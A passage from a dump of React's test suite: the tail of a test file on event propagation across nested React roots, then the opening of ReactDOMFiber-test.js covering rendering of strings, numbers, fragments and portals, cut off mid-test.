  eventConfig.dispatch(targetRef.current);\n    // This event doesn't bubble natively, but React emulates it.\n    // Since the element is created by the inner React, the bubbling\n    // stops at the inner parent and never reaches the outer React.\n    // In the future, we might consider not bubbling these events\n    // at all, in which case inner parent also wouldn't be logged.\n    expect(log).toEqual(unindent`\n      - outer parent capture\n      -- outer capture\n      --- inner parent capture\n      --- inner parent\n    `);\n  }\n\n  async function testNonBubblingEventWithoutTargetListener(eventConfig) {\n    const log = [];\n    const targetRef = React.createRef();\n    await render(\n      <Fixture\n        type={eventConfig.type}\n        targetRef={targetRef}\n        targetProps={\n          {\n            // No listener on the target itself.\n          }\n        }\n        parentProps={{\n          [eventConfig.reactEvent]: e => {\n            log.push('--- inner parent');\n          },\n          [eventConfig.reactEvent + 'Capture']: e => {\n            log.push('--- inner parent capture');\n          },\n        }}\n        outerProps={{\n          [eventConfig.reactEvent]: e => {\n            log.push('-- outer');\n          },\n          [eventConfig.reactEvent + 'Capture']: e => {\n            log.push('-- outer capture');\n          },\n        }}\n        outerParentProps={{\n          [eventConfig.reactEvent]: e => {\n            log.push('- outer parent');\n          },\n          [eventConfig.reactEvent + 'Capture']: e => {\n            expect(e.type).toBe(eventConfig.reactEventType);\n            log.push('- outer parent capture');\n          },\n        }}\n      />,\n    );\n    expect(log.length).toBe(0);\n    eventConfig.dispatch(targetRef.current);\n    // This event doesn't bubble native, and React doesn't\n    // emulate bubbling either. Since we don't have a target\n    // listener, only capture phase listeners fire.\n    expect(log).toEqual(unindent`\n      - outer parent capture\n      -- outer capture\n      --- inner parent capture\n    `);\n  }\n\n  async function testReactStopPropagationInOuterCapturePhase(eventConfig) {\n    const log = [];\n    const targetRef = React.createRef();\n    await render(\n      <Fixture\n        type={eventConfig.type}\n        targetRef={node => {\n          targetRef.current = node;\n          if (node) {\n            // No cleanup, assume we render once.\n            node.addEventListener(eventConfig.nativeEvent, e => {\n              // We *don't* expect this to appear in the log\n              // at all because the event is stopped earlier.\n              log.push('---- inner (native)');\n            });\n          }\n        }}\n        targetProps={{\n          [eventConfig.reactEvent]: e => {\n            log.push('---- inner');\n          },\n          [eventConfig.reactEvent + 'Capture']: e => {\n            log.push('---- inner capture');\n          },\n        }}\n        parentProps={{\n          [eventConfig.reactEvent]: e => {\n            log.push('--- inner parent');\n          },\n          [eventConfig.reactEvent + 'Capture']: e => {\n            log.push('--- inner parent capture');\n          },\n        }}\n        outerProps={{\n          [eventConfig.reactEvent]: e => {\n            log.push('-- outer');\n          },\n          [eventConfig.reactEvent + 'Capture']: e => {\n            e.stopPropagation(); // <---------\n            log.push('-- outer capture');\n          },\n        }}\n        outerParentProps={{\n          [eventConfig.reactEvent]: e => {\n            log.push('- outer parent');\n          },\n          [eventConfig.reactEvent + 'Capture']: e => {\n            expect(e.type).toBe(eventConfig.reactEventType);\n            log.push('- outer parent capture');\n          },\n        }}\n      />,\n    );\n    expect(log.length).toBe(0);\n    eventConfig.dispatch(targetRef.current);\n    // Should stop at the outer capture.\n    // We don't get to the inner root at all.\n    expect(log).toEqual(unindent`\n      - outer parent capture\n      -- outer capture\n    `);\n  }\n\n  async function testReactStopPropagationInInnerCapturePhase(eventConfig) {\n    const log = [];\n    const targetRef = React.createRef();\n    await render(\n      <Fixture\n        type={eventConfig.type}\n        targetRef={node => {\n          targetRef.current = node;\n          if (node) {\n            // No cleanup, assume we render once.\n            node.addEventListener(eventConfig.nativeEvent, e => {\n              // We *don't* expect this to appear in the log\n              // at all because the event is stopped earlier.\n              log.push('---- inner (native)');\n            });\n          }\n        }}\n        targetProps={{\n          [eventConfig.reactEvent]: e => {\n            log.push('---- inner');\n          },\n          [eventConfig.reactEvent + 'Capture']: e => {\n            log.push('---- inner capture');\n          },\n        }}\n        parentProps={{\n          [eventConfig.reactEvent]: e => {\n            log.push('--- inner parent');\n          },\n          [eventConfig.reactEvent + 'Capture']: e => {\n            e.stopPropagation(); // <---------\n            log.push('--- inner parent capture');\n          },\n        }}\n        outerProps={{\n          [eventConfig.reactEvent]: e => {\n            log.push('-- outer');\n          },\n          [eventConfig.reactEvent + 'Capture']: e => {\n            log.push('-- outer capture');\n          },\n        }}\n        outerParentProps={{\n          [eventConfig.reactEvent]: e => {\n            log.push('- outer parent');\n          },\n          [eventConfig.reactEvent + 'Capture']: e => {\n            expect(e.type).toBe(eventConfig.reactEventType);\n            log.push('- outer parent capture');\n          },\n        }}\n      />,\n    );\n    expect(log.length).toBe(0);\n    eventConfig.dispatch(targetRef.current);\n    // We get to the inner root, but we don't\n    // get to the target and we don't bubble.\n    expect(log).toEqual(unindent`\n      - outer parent capture\n      -- outer capture\n      --- inner parent capture\n    `);\n  }\n\n  async function testReactStopPropagationInInnerBubblePhase(eventConfig) {\n    const log = [];\n    const targetRef = React.createRef();\n    await render(\n      <Fixture\n        type={eventConfig.type}\n        targetRef={targetRef}\n        targetProps={{\n          ...eventConfig.targetProps,\n          [eventConfig.reactEvent]: e => {\n            e.stopPropagation(); // <---------\n            log.push('---- inner');\n          },\n          [eventConfig.reactEvent + 'Capture']: e => {\n            log.push('---- inner capture');\n          },\n        }}\n        parentProps={{\n          [eventConfig.reactEvent]: e => {\n            log.push('--- inner parent');\n          },\n          [eventConfig.reactEvent + 'Capture']: e => {\n            log.push('--- inner parent capture');\n          },\n        }}\n        outerRef={node => {\n          if (node) {\n            // No cleanup, assume we render once.\n            node.addEventListener(eventConfig.nativeEvent, e => {\n              // We *don't* expect this to appear in the log\n              // at all because the event is stopped earlier.\n              log.push('-- outer (native)');\n            });\n          }\n        }}\n        outerProps={{\n          [eventConfig.reactEvent]: e => {\n            log.push('-- outer');\n          },\n          [eventConfig.reactEvent + 'Capture']: e => {\n            log.push('-- outer capture');\n          },\n        }}\n        outerParentProps={{\n          [eventConfig.reactEvent]: e => {\n            log.push('- outer parent');\n          },\n          [eventConfig.reactEvent + 'Capture']: e => {\n            expect(e.type).toBe(eventConfig.reactEventType);\n            log.push('- outer parent capture');\n          },\n        }}\n      />,\n    );\n    expect(log.length).toBe(0);\n    eventConfig.dispatch(targetRef.current);\n    // Should stop at the target and not go further.\n    expect(log).toEqual(unindent`\n      - outer parent capture\n      -- outer capture\n      --- inner parent capture\n      ---- inner capture\n      ---- inner\n    `);\n  }\n\n  async function testReactStopPropagationInOuterBubblePhase(eventConfig) {\n    const log = [];\n    const targetRef = React.createRef();\n    await render(\n      <Fixture\n        type={eventConfig.type}\n        targetRef={targetRef}\n        targetProps={{\n          [eventConfig.reactEvent]: e => {\n            log.push('---- inner');\n          },\n          [eventConfig.reactEvent + 'Capture']: e => {\n            log.push('---- inner capture');\n          },\n        }}\n        parentProps={{\n          [eventConfig.reactEvent]: e => {\n            log.push('--- inner parent');\n          },\n          [eventConfig.reactEvent + 'Capture']: e => {\n            log.push('--- inner parent capture');\n          },\n        }}\n        outerProps={{\n          [eventConfig.reactEvent]: e => {\n            e.stopPropagation(); // <---------\n            log.push('-- outer');\n          },\n          [eventConfig.reactEvent + 'Capture']: e => {\n            log.push('-- outer capture');\n          },\n        }}\n        outerParentProps={{\n          [eventConfig.reactEvent]: e => {\n            log.push('- outer parent');\n          },\n          [eventConfig.reactEvent + 'Capture']: e => {\n            expect(e.type).toBe(eventConfig.reactEventType);\n            log.push('- outer parent capture');\n          },\n        }}\n      />,\n    );\n    expect(log.length).toBe(0);\n    eventConfig.dispatch(targetRef.current);\n    // Should not reach the parent outer bubble handler.\n    expect(log).toEqual(unindent`\n      - outer parent capture\n      -- outer capture\n      --- inner parent capture\n      ---- inner capture\n      ---- inner\n      --- inner parent\n      -- outer\n    `);\n  }\n\n  async function testNativeStopPropagationInOuterCapturePhase(eventConfig) {\n    const log = [];\n    const targetRef = React.createRef();\n    await render(\n      <Fixture\n        type={eventConfig.type}\n        targetRef={targetRef}\n        targetProps={{\n          [eventConfig.reactEvent]: e => {\n            log.push('---- inner');\n          },\n          [eventConfig.reactEvent + 'Capture']: e => {\n            log.push('---- inner capture');\n          },\n        }}\n        parentProps={{\n          [eventConfig.reactEvent]: e => {\n            log.push('--- inner parent');\n          },\n          [eventConfig.reactEvent + 'Capture']: e => {\n            log.push('--- inner parent capture');\n          },\n        }}\n        outerProps={{\n          [eventConfig.reactEvent]: e => {\n            log.push('-- outer');\n          },\n          [eventConfig.reactEvent + 'Capture']: e => {\n            log.push('-- outer capture');\n          },\n        }}\n        outerParentRef={node => {\n          if (node) {\n            // No cleanup, assume we render once.\n            node.addEventListener(\n              eventConfig.nativeEvent,\n              e => {\n                log.push('- outer parent capture (native)');\n                e.stopPropagation(); // <---------\n              },\n              {capture: true},\n            );\n          }\n        }}\n        outerParentProps={{\n          [eventConfig.reactEvent]: e => {\n            log.push('- outer parent');\n          },\n          [eventConfig.reactEvent + 'Capture']: e => {\n            expect(e.type).toBe(eventConfig.reactEventType);\n            log.push('- outer parent capture');\n          },\n        }}\n      />,\n    );\n    expect(log.length).toBe(0);\n    eventConfig.dispatch(targetRef.current);\n    // The outer root has already received the event,\n    // so the capture phrase runs for it. But the inner\n    // root is prevented from receiving it by the native\n    // handler in the outer native capture phase.\n    expect(log).toEqual(unindent`\n      - outer parent capture\n      -- outer capture\n      - outer parent capture (native)\n    `);\n  }\n\n  async function testNativeStopPropagationInInnerCapturePhase(eventConfig) {\n    const log = [];\n    const targetRef = React.createRef();\n    await render(\n      <Fixture\n        type={eventConfig.type}\n        targetRef={targetRef}\n        targetProps={{\n          [eventConfig.reactEvent]: e => {\n            log.push('---- inner');\n          },\n          [eventConfig.reactEvent + 'Capture']: e => {\n            log.push('---- inner capture');\n          },\n        }}\n        parentRef={node => {\n          if (node) {\n            // No cleanup, assume we render once.\n            node.addEventListener(\n              eventConfig.nativeEvent,\n              e => {\n                log.push('--- inner parent capture (native)');\n                e.stopPropagation(); // <---------\n              },\n              {capture: true},\n            );\n          }\n        }}\n        parentProps={{\n          [eventConfig.reactEvent]: e => {\n            log.push('--- inner parent');\n          },\n          [eventConfig.reactEvent + 'Capture']: e => {\n            log.push('--- inner parent capture');\n          },\n        }}\n        outerProps={{\n          [eventConfig.reactEvent]: e => {\n            log.push('-- outer');\n          },\n          [eventConfig.reactEvent + 'Capture']: e => {\n            log.push('-- outer capture');\n          },\n        }}\n        outerParentProps={{\n          [eventConfig.reactEvent]: e => {\n            log.push('- outer parent');\n          },\n          [eventConfig.reactEvent + 'Capture']: e => {\n            expect(e.type).toBe(eventConfig.reactEventType);\n            log.push('- outer parent capture');\n          },\n        }}\n      />,\n    );\n    expect(log.length).toBe(0);\n    eventConfig.dispatch(targetRef.current);\n    // The inner root has already received the event, so\n    // all React capture phase listeners should run.\n    // But then the native handler stops propagation\n    // so none of the bubbling React handlers would run.\n    expect(log).toEqual(unindent`\n      - outer parent capture\n      -- outer capture\n      --- inner parent capture\n      ---- inner capture\n      --- inner parent capture (native)\n    `);\n  }\n\n  async function testNativeStopPropagationInInnerBubblePhase(eventConfig) {\n    const log = [];\n    const targetRef = React.createRef();\n    await render(\n      <Fixture\n        type={eventConfig.type}\n        targetRef={node => {\n          targetRef.current = node;\n          if (node) {\n            // No cleanup, assume we render once.\n            node.addEventListener(eventConfig.nativeEvent, e => {\n              log.push('---- inner (native)');\n              e.stopPropagation(); // <---------\n            });\n          }\n        }}\n        targetProps={{\n          [eventConfig.reactEvent]: e => {\n            log.push('---- inner');\n          },\n          [eventConfig.reactEvent + 'Capture']: e => {\n            log.push('---- inner capture');\n          },\n        }}\n        parentProps={{\n          [eventConfig.reactEvent]: e => {\n            log.push('--- inner parent');\n          },\n          [eventConfig.reactEvent + 'Capture']: e => {\n            log.push('--- inner parent capture');\n          },\n        }}\n        outerProps={{\n          [eventConfig.reactEvent]: e => {\n            log.push('-- outer');\n          },\n          [eventConfig.reactEvent + 'Capture']: e => {\n            log.push('-- outer capture');\n          },\n        }}\n        outerParentProps={{\n          [eventConfig.reactEvent]: e => {\n            log.push('- outer parent');\n          },\n          [eventConfig.reactEvent + 'Capture']: e => {\n            expect(e.type).toBe(eventConfig.reactEventType);\n            log.push('- outer parent capture');\n          },\n        }}\n      />,\n    );\n    expect(log.length).toBe(0);\n    eventConfig.dispatch(targetRef.current);\n    // The capture phase is entirely unaffected.\n    // Then, we get into the bubble phase.\n    // We start with the native innermost handler.\n    // It stops propagation, so nothing else happens.\n    expect(log).toEqual(unindent`\n      - outer parent capture\n      -- outer capture\n      --- inner parent capture\n      ---- inner capture\n      ---- inner (native)\n    `);\n  }\n\n  async function testNativeStopPropagationInInnerEmulatedBubblePhase(\n    eventConfig,\n  ) {\n    const log = [];\n    const targetRef = React.createRef();\n    await render(\n      <Fixture\n        type={eventConfig.type}\n        targetRef={node => {\n          targetRef.current = node;\n          if (node) {\n            // No cleanup, assume we render once.\n            node.addEventListener(eventConfig.nativeEvent, e => {\n              log.push('---- inner (native)');\n              e.stopPropagation(); // <---------\n            });\n          }\n        }}\n        targetProps={{\n          ...eventConfig.targetProps,\n          [eventConfig.reactEvent]: e => {\n            log.push('---- inner');\n          },\n          [eventConfig.reactEvent + 'Capture']: e => {\n            log.push('---- inner capture');\n          },\n        }}\n        parentProps={{\n          [eventConfig.reactEvent]: e => {\n            log.push('--- inner parent');\n          },\n          [eventConfig.reactEvent + 'Capture']: e => {\n            log.push('--- inner parent capture');\n          },\n        }}\n        outerProps={{\n          [eventConfig.reactEvent]: e => {\n            log.push('-- outer');\n          },\n          [eventConfig.reactEvent + 'Capture']: e => {\n            log.push('-- outer capture');\n          },\n        }}\n        outerParentProps={{\n          [eventConfig.reactEvent]: e => {\n            log.push('- outer parent');\n          },\n          [eventConfig.reactEvent + 'Capture']: e => {\n            expect(e.type).toBe(eventConfig.reactEventType);\n            log.push('- outer parent capture');\n          },\n        }}\n      />,\n    );\n    expect(log.length).toBe(0);\n    eventConfig.dispatch(targetRef.current);\n    // This event does not natively bubble, so React\n    // attaches the listener directly to the element.\n    // As a result, by the time our custom native listener\n    // fires, it is too late to do anything -- the React\n    // emulated bubbilng has already happened.\n    expect(log).toEqual(unindent`\n      - outer parent capture\n      -- outer capture\n      --- inner parent capture\n      ---- inner capture\n      ---- inner\n      --- inner parent\n      ---- inner (native)\n    `);\n  }\n\n  async function testNativeStopPropagationInOuterBubblePhase(eventConfig) {\n    const log = [];\n    const targetRef = React.createRef();\n    await render(\n      <Fixture\n        type={eventConfig.type}\n        targetRef={targetRef}\n        targetProps={{\n          [eventConfig.reactEvent]: e => {\n            log.push('---- inner');\n          },\n          [eventConfig.reactEvent + 'Capture']: e => {\n            log.push('---- inner capture');\n          },\n        }}\n        parentProps={{\n          [eventConfig.reactEvent]: e => {\n            log.push('--- inner parent');\n          },\n          [eventConfig.reactEvent + 'Capture']: e => {\n            log.push('--- inner parent capture');\n          },\n        }}\n        outerRef={node => {\n          if (node) {\n            // No cleanup, assume we render once.\n            node.addEventListener(eventConfig.nativeEvent, e => {\n              log.push('-- outer (native)');\n              e.stopPropagation(); // <---------\n            });\n          }\n        }}\n        outerProps={{\n          [eventConfig.reactEvent]: e => {\n            log.push('-- outer');\n          },\n          [eventConfig.reactEvent + 'Capture']: e => {\n            log.push('-- outer capture');\n          },\n        }}\n        outerParentProps={{\n          [eventConfig.reactEvent]: e => {\n            log.push('- outer parent');\n          },\n          [eventConfig.reactEvent + 'Capture']: e => {\n            expect(e.type).toBe(eventConfig.reactEventType);\n            log.push('- outer parent capture');\n          },\n        }}\n      />,\n    );\n    expect(log.length).toBe(0);\n    eventConfig.dispatch(targetRef.current);\n    // The event bubbles upwards through the inner tree.\n    // Then it reaches the native handler which stops propagation.\n    // As a result, it never reaches the outer React root,\n    // and thus the outer React event handlers don't fire.\n    expect(log).toEqual(unindent`\n      - outer parent capture\n      -- outer capture\n      --- inner parent capture\n      ---- inner capture\n      ---- inner\n      --- inner parent\n      -- outer (native)\n    `);\n  }\n\n  function Fixture({\n    type,\n    targetRef,\n    targetProps,\n    parentRef,\n    parentProps,\n    outerRef,\n    outerProps,\n    outerParentRef,\n    outerParentProps,\n  }) {\n    const inner = React.useMemo(\n      () => (\n        <Inner\n          type={type}\n          targetRef={targetRef}\n          targetProps={targetProps}\n          parentRef={parentRef}\n          parentProps={parentProps}\n        />\n      ),\n      [type, targetRef, targetProps, parentProps],\n    );\n    return (\n      <Outer\n        outerRef={outerRef}\n        outerProps={outerProps}\n        outerParentRef={outerParentRef}\n        outerParentProps={outerParentProps}>\n        <NestedReact>{inner}</NestedReact>\n      </Outer>\n    );\n  }\n\n  function NestedReact({children}) {\n    const ref = React.useRef();\n    React.useLayoutEffect(() => {\n      const parent = ref.current;\n      const innerContainer = document.createElement('div');\n      parent.appendChild(innerContainer);\n      const innerReactRoot = InnerReactDOMClient.createRoot(innerContainer);\n      InnerReactDOM.flushSync(() => {\n        innerReactRoot.render(children);\n      });\n      return () => {\n        innerReactRoot.unmount();\n        parent.removeChild(innerContainer);\n      };\n    }, [children, ref]);\n    return <div ref={ref} />;\n  }\n\n  function Inner({type, targetRef, targetProps, parentRef, parentProps}) {\n    const T = type;\n    return (\n      <div {...parentProps} ref={parentRef}>\n        <T {...targetProps} ref={targetRef} />\n      </div>\n    );\n  }\n\n  function Outer({\n    outerRef,\n    outerProps,\n    outerParentProps,\n    outerParentRef,\n    children,\n  }) {\n    return (\n      <div {...outerParentProps} ref={outerParentRef}>\n        <div {...outerProps} ref={outerRef}>\n          {children}\n        </div>\n      </div>\n    );\n  }\n\n  function unindent(str) {\n    return str[0]\n      .split('\\n')\n      .map(s => s.trim())\n      .filter(s => s !== '');\n  }\n});\n"
  },
  {
    "path": "packages/react-dom/src/__tests__/ReactDOMFiber-test.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @emails react-core\n */\n\n'use strict';\n\nlet React;\nlet ReactDOM;\nlet PropTypes;\nlet ReactDOMClient;\nlet Scheduler;\n\nlet act;\nlet assertConsoleErrorDev;\nlet assertLog;\nlet root;\nlet JSDOM;\n\ndescribe('ReactDOMFiber', () => {\n  let container;\n\n  beforeEach(() => {\n    jest.resetModules();\n\n    // JSDOM needs to be setup with a TextEncoder and TextDecoder when used standalone\n    // https://github.com/jsdom/jsdom/issues/2524\n    (() => {\n      const {TextEncoder, TextDecoder} = require('util');\n      global.TextEncoder = TextEncoder;\n      global.TextDecoder = TextDecoder;\n      JSDOM = require('jsdom').JSDOM;\n    })();\n\n    React = require('react');\n    ReactDOM = require('react-dom');\n    PropTypes = require('prop-types');\n    ReactDOMClient = require('react-dom/client');\n    Scheduler = require('scheduler');\n    act = require('internal-test-utils').act;\n    ({assertConsoleErrorDev, assertLog} = require('internal-test-utils'));\n\n    container = document.createElement('div');\n    document.body.appendChild(container);\n    root = ReactDOMClient.createRoot(container);\n  });\n\n  afterEach(() => {\n    document.body.removeChild(container);\n    container = null;\n    jest.restoreAllMocks();\n  });\n\n  it('should render strings as children', async () => {\n    const Box = ({value}) => <div>{value}</div>;\n    await act(async () => {\n      root.render(<Box value=\"foo\" />);\n    });\n    expect(container.textContent).toEqual('foo');\n  });\n\n  it('should render numbers as children', async () => {\n    const Box = ({value}) => <div>{value}</div>;\n\n    await act(async () => {\n      root.render(<Box value={10} />);\n    });\n\n    expect(container.textContent).toEqual('10');\n  });\n\n  it('should render bigints as children', async () => {\n    const Box = ({value}) => <div>{value}</div>;\n\n    await act(async () => {\n      root.render(<Box value={10n} />);\n    });\n\n    expect(container.textContent).toEqual('10');\n  });\n\n  it('should call an effect after mount/update (replacing render callback pattern)', async () => {\n    function Component() {\n      React.useEffect(() => {\n        Scheduler.log('Callback');\n      });\n      return <div>Foo</div>;\n    }\n\n    // mounting phase\n    await act(async () => {\n      root.render(<Component />);\n    });\n    assertLog(['Callback']);\n\n    // updating phase\n    await act(async () => {\n      root.render(<Component />);\n    });\n    assertLog(['Callback']);\n  });\n\n  it('should call an effect when the same element is re-rendered (replacing render callback pattern)', async () => {\n    function Component({prop}) {\n      React.useEffect(() => {\n        Scheduler.log('Callback');\n      });\n      return <div>{prop}</div>;\n    }\n\n    // mounting phase\n    await act(async () => {\n      root.render(<Component prop=\"Foo\" />);\n    });\n    assertLog(['Callback']);\n\n    // updating phase\n    await act(async () => {\n      root.render(<Component prop=\"Bar\" />);\n    });\n    assertLog(['Callback']);\n  });\n\n  it('should render a component returning strings directly from render', async () => {\n    const Text = ({value}) => value;\n\n    await act(async () => {\n      root.render(<Text value=\"foo\" />);\n    });\n\n    expect(container.textContent).toEqual('foo');\n  });\n\n  it('should render a component returning numbers directly from render', async () => {\n    const Text = ({value}) => value;\n    await act(async () => {\n      root.render(<Text value={10} />);\n    });\n\n    expect(container.textContent).toEqual('10');\n  });\n\n  it('renders an empty fragment', async () => {\n    const Div = () => <div />;\n    const EmptyFragment = () => <></>;\n    const NonEmptyFragment = () => (\n      <>\n        <Div />\n      </>\n    );\n\n    await act(async () => {\n      root.render(<EmptyFragment />);\n    });\n    expect(container.firstChild).toBe(null);\n\n    await act(async () => {\n      root.render(<NonEmptyFragment />);\n    });\n    expect(container.firstChild.tagName).toBe('DIV');\n\n    await act(async () => {\n      root.render(<EmptyFragment />);\n    });\n    expect(container.firstChild).toBe(null);\n\n    await act(async () => {\n      root.render(<Div />);\n    });\n    expect(container.firstChild.tagName).toBe('DIV');\n\n    await act(async () => {\n      root.render(<EmptyFragment />);\n    });\n    expect(container.firstChild).toBe(null);\n  });\n\n  let svgEls, htmlEls, mathEls;\n  const expectSVG = {ref: el => svgEls.push(el)};\n  const expectHTML = {ref: el => htmlEls.push(el)};\n  const expectMath = {ref: el => mathEls.push(el)};\n\n  const usePortal = function (tree) {\n    return ReactDOM.createPortal(tree, document.createElement('div'));\n  };\n\n  const assertNamespacesMatch = async function (tree) {\n    const testContainer = document.createElement('div');\n    svgEls = [];\n    htmlEls = [];\n    mathEls = [];\n\n    const testRoot = ReactDOMClient.createRoot(testContainer);\n    await act(async () => {\n      testRoot.render(tree);\n    });\n    svgEls.forEach(el => {\n      expect(el.namespaceURI).toBe('http://www.w3.org/2000/svg');\n    });\n    htmlEls.forEach(el => {\n      expect(el.namespaceURI).toBe('http://www.w3.org/1999/xhtml');\n    });\n    mathEls.forEach(el => {\n      expect(el.namespaceURI).toBe('http://www.w3.org/1998/Math/MathML');\n    });\n\n    testRoot.unmount();\n    expect(testContainer.innerHTML).toBe('');\n  };\n\n  it('should render one portal', async () => {\n    const portalContainer = document.createElement('div');\n\n    await act(() => {\n      root.render(\n        <div>{ReactDOM.createPortal(<div>portal</div>, portalContainer)}</div>,\n      );\n    });\n    expect(portalContainer.innerHTML).toBe('<div>portal</div>');\n    expect(container.innerHTML).toBe('<div></div>');\n\n    root.unmount();\n    expect(portalContainer.innerHTML).toBe('');\n    expect(container.innerHTML).toBe('');\n  });\n\n  it('should render many portals', async () => {\n    const portalContainer1 = document.createElement('div');\n    const portalContainer2 = document.createElement('div');\n\n    class Child extends React.Component {\n      componentDidMount() {\n        Scheduler.log(`${this.props.name} componentDidMount`);\n      }\n      componentDidUpdate() {\n        Scheduler.log(`${this.props.name} componentDidUpdate`);\n      }\n      componentWillUnmount() {\n        Scheduler.log(`${this.props.name} componentWillUnmount`);\n      }\n      render() {\n        return <div>{this.props.name}</div>;\n      }\n    }\n\n    class Parent extends React.Component {\n      componentDidMount() {\n        Scheduler.log(`Parent:${this.props.step} componentDidMount`);\n      }\n      componentDidUpdate() {\n        Scheduler.log(`Parent:${this.props.step} componentDidUpdate`);\n      }\n      componentWillUnmount() {\n        Scheduler.log(`Parent:${this.props.step} componentWillUnmount`);\n      }\n      render() {\n        const {step} = this.props;\n        return [\n          <Child key=\"a\" name={`normal[0]:${step}`} />,\n          ReactDOM.createPortal(\n            <Child key=\"b\" name={`portal1[0]:${step}`} />,\n            portalContainer1,\n          ),\n          <Child key=\"c\" name={`normal[1]:${step}`} />,\n          ReactDOM.createPortal(\n            [\n              <Child key=\"d\" name={`portal2[0]:${step}`} />,\n              <Child key=\"e\" name={`portal2[1]:${step}`} />,\n            ],\n            portalContainer2,\n          ),\n        ];\n      }\n    }\n\n    await act(() => {\n      root.render(<Parent step=\"a\" />);\n    });\n    expect(portalContainer1.innerHTML).toBe('<div>portal1[0]:a</div>');\n    expect(portalContainer2.innerHTML).toBe(\n      '<div>portal2[0]:a</div><div>portal2[1]:a</div>',\n    );\n    expect(container.innerHTML).toBe(\n      '<div>normal[0]:a</div><div>normal[1]:a</div>',\n    );\n    assertLog([\n      'normal[0]:a componentDidMount',\n      'portal1[0]:a componentDidMount',\n      'normal[1]:a componentDidMount',\n      'portal2[0]:a componentDidMount',\n      'portal2[1]:a componentDidMount',\n      'Parent:a componentDidMount',\n    ]);\n\n    await act(() => {\n      root.render(<Parent step=\"b\" />);\n    });\n    expect(portalContainer1.innerHTML).toBe('<div>portal1[0]:b</div>');\n    expect(portalContainer2.innerHTML).toBe(\n      '<div>portal2[0]:b</div><div>portal2[1]:b</div>',\n    );\n    expect(container.innerHTML).toBe(\n      '<div>normal[0]:b</div><div>normal[1]:b</div>',\n    );\n    assertLog([\n      'normal[0]:b componentDidUpdate',\n      'portal1[0]:b componentDidUpdate',\n      'normal[1]:b componentDidUpdate',\n      'portal2[0]:b componentDidUpdate',\n      'portal2[1]:b componentDidUpdate',\n      'Parent:b componentDidUpdate',\n    ]);\n\n    root.unmount();\n    expect(portalContainer1.innerHTML).toBe('');\n    expect(portalContainer2.innerHTML).toBe('');\n    expect(container.innerHTML).toBe('');\n    assertLog([\n      'Parent:b componentWillUnmount',\n      'normal[0]:b componentWillUnmount',\n      'portal1[0]:b componentWillUnmount',\n      'normal[1]:b componentWillUnmount',\n      'portal2[0]:b componentWillUnmount',\n      'portal2[1]:b componentWillUnmount',\n    ]);\n  });\n\n  it('should render nested portals', async () => {\n    const portalContainer1 = document.createElement('div');\n    const portalContainer2 = document.createElement('div');\n    const portalContainer3 = document.createElement('div');\n\n    await act(() => {\n      root.render([\n        <div key=\"a\">normal[0]</div>,\n        ReactDOM.createPortal(\n          [\n            <div key=\"b\">portal1[0]</div>,\n            ReactDOM.createPortal(\n              <div key=\"c\">portal2[0]</div>,\n              portalContainer2,\n            ),\n            ReactDOM.createPortal(\n              <div key=\"d\">portal3[0]</div>,\n              portalContainer3,\n            ),\n            <div key=\"e\">portal1[1]</div>,\n          ],\n          portalContainer1,\n        ),\n        <div key=\"f\">normal[1]</div>,\n      ]);\n    });\n    expect(portalContainer1.innerHTML).toBe(\n      '<div>portal1[0]</div><div>portal1[1]</div>',\n    );\n    expect(portalContainer2.innerHTML).toBe('<div>portal2[0]</div>');\n    expect(portalContainer3.innerHTML).toBe('<div>portal3[0]</div>');\n    expect(container.innerHTML).toBe(\n      '<div>normal[0]</div><div>normal[1]</div>',\n    );\n\n    root.unmount();\n    expect(portalContainer1.innerHTML).toBe('');\n    expect(portalContainer2.innerHTML).toBe('');\n    expect(portalContainer3.innerHTML).toBe('');\n    expect(container.innerHTML).toBe('');\n  });\n\n  it('should reconcile portal children', async () => {\n    const portalContainer = document.createElement('div');\n\n    await act(() => {\n      root.render(\n        <div>\n          {ReactDOM.createPortal(<div>portal:1</div>, portalContainer)}\n        </div>,\n      );\n    });\n    expect(portalContainer.innerHTML).toBe('<div>portal:1</div>');\n    expect(container.innerHTML).toBe('<div></div>');\n\n    await act(() => {\n      root.render(\n        <div>\n          {ReactDOM.createPortal(<div>portal:2</div>, portalContainer)}\n        </div>,\n      );\n    });\n    expect(portalContainer.innerHTML).toBe('<div>portal:2</div>');\n    expect(container.innerHTML).toBe('<div></div>');\n\n    await act(() => {\n      root.render(\n        <div>{ReactDOM.createPortal(<p>portal:3</p>, portalContainer)}</div>,\n      );\n    });\n    expect(portalContainer.innerHTML).toBe('<p>portal:3</p>');\n    expect(container.innerHTML).toBe('<div></div>');\n\n    await act(() => {\n      root.render(\n        <div>{ReactDOM.createPortal(['Hi', 'Bye'], portalContainer)}</div>,\n      );\n    });\n    expect(portalContainer.innerHTML).toBe('HiBye');\n    expect(container.innerHTML).toBe('<div></div>');\n\n    await act(() => {\n      root.render(\n        <div>{ReactDOM.createPortal(['Bye', 'Hi'], portalContainer)}</div>,\n      );\n    });\n    expect(portalContainer.innerHTML).toBe('ByeHi');\n    expect(container.innerHTML).toBe('<div></div>');\n\n    await act(() => {\n      root.render(<div>{ReactDOM.createPortal(null, portalContainer)}</div>);\n    });\n    expect(portalContainer.innerHTML).toBe('');\n    expect(container.innerHTML).toBe('<div></div>');\n  });\n\n  it('should unmount empty portal component wherever it appears', async () => {\n    const portalContainer = document.createElement('div');\n    let instance;\n    class Wrapper extends React.Component {\n      constructor(props) {\n        super(props);\n        instance = this;\n        this.state = {\n          show: true,\n        };\n      }\n      render() {\n        return (\n          <div>\n            {this.state.show && (\n              <>\n                {ReactDOM.createPortal(null, portalContainer)}\n                <div>child</div>\n              </>\n            )}\n            <div>parent</div>\n          </div>\n        );\n      }\n    }\n\n    await act(() => {\n      root.render(<Wrapper />);\n    });\n    expect(container.innerHTML).toBe(\n      '<div><div>child</div><div>parent</div></div>',\n    );\n    await act(() => {\n      instance.setState({show: false});\n    });\n    expect(instance.state.show).toBe(false);\n    expect(container.innerHTML).toBe('<div><div>parent</div></div>');\n  });\n\n  it('should keep track of namespace across portals (simple)', async () => {\n    await assertNamespacesMatch(\n      <svg {...expectSVG}>\n        <image {...expectSVG} />\n        {usePortal(<div {...expectHTML} />)}\n        <image {...expectSVG} />\n      </svg>,\n    );\n    await assertNamespacesMatch(\n      <math {...expectMath}>\n        <mi {...expectMath} />\n        {usePortal(<div {...expectHTML} />)}\n        <mi {...expectMath} />\n      </math>,\n    );\n    await assertNamespacesMatch(\n      <div 